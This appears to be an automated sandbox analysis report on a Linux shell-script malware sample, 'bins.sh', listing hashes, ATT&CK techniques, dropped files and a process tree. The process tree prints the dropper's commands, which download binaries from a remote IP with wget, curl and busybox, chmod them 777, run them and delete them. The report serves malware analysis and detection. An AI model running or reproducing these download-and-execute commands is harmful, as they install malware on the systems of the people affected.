31726b2c81c0bb80f99a8fe50b2b7f5b12de23e20af9821fed4c4caa2c2ca52f

Analysis

max time kernel
7s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/11/2024, 11:07

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General

Target
bins.sh
Size 10KB
Sample241107-m8f7ps1erm
SHA256 31726b2c81c0bb80f99a8fe50b2b7f5b12de23e20af9821fed4c4caa2c2ca52f
MD5 6a59b7fefeda23f9aead541d78a4a979
SHA1 e0c5b7a1e63e925b481c667d082588b24af36a61
SHA512 e7822a867c1576079c0bbb8478e9eaa8e47c64383b25b0b76a512dc75bdb9266eb8e60df0910628e20ad898252189f9eadaa20e5b5e428507fae3d13636e8e34
SSDEEP 192:7zr1sY9DPauuQotJ5Uc8zr1sYE3tJ5UcU:7zr1sY9DPauuQRzr1sYEK
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
681	chmod
724	chmod
751	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD	683	vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
/tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw	725	AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
/tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm	753	HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD	wget
File opened for modification	/tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD	curl
File opened for modification	/tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw	busybox
File opened for modification	/tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm	wget
File opened for modification	/tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm	curl
File opened for modification	/tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD	busybox
File opened for modification	/tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw	wget
File opened for modification	/tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw	curl
File opened for modification	/tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:646
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:648
- /usr/bin/wget
  wget http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
  2⤵
  - Writes file to tmp directory
  PID:650
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:675
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
  2⤵
  - Writes file to tmp directory
  PID:678
- /bin/chmod
  chmod 777 vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
  ./vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
  2⤵
  - Executes dropped EXE
  PID:683
- /bin/rm
  rm vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
  2⤵
  PID:685
- /usr/bin/wget
  wget http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
  2⤵
  - Writes file to tmp directory
  PID:687
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:699
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
  2⤵
  - Writes file to tmp directory
  PID:716
- /bin/chmod
  chmod 777 AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
  ./AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
  2⤵
  - Executes dropped EXE
  PID:725
- /bin/rm
  rm AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
  2⤵
  PID:728
- /usr/bin/wget
  wget http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
  2⤵
  - Writes file to tmp directory
  PID:729
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
  ./HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
  2⤵
  PID:755
- /usr/bin/wget
  wget http://216.126.231.240/bins/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
  2⤵
  PID:756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw

Path /tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm

Path /tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

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vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD

Path /tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
Size 111KB
SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
MD5 701e7a55a4f3650f5feee92a9860e5fc
SHA1 6ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA512 7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
SSDEEP 3072:IF2Z9LeHHHPfbLGR0+XrOcVm/pOQbZJXx35zzp:fZ9LeHHHPfnGRJ7OcVm/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads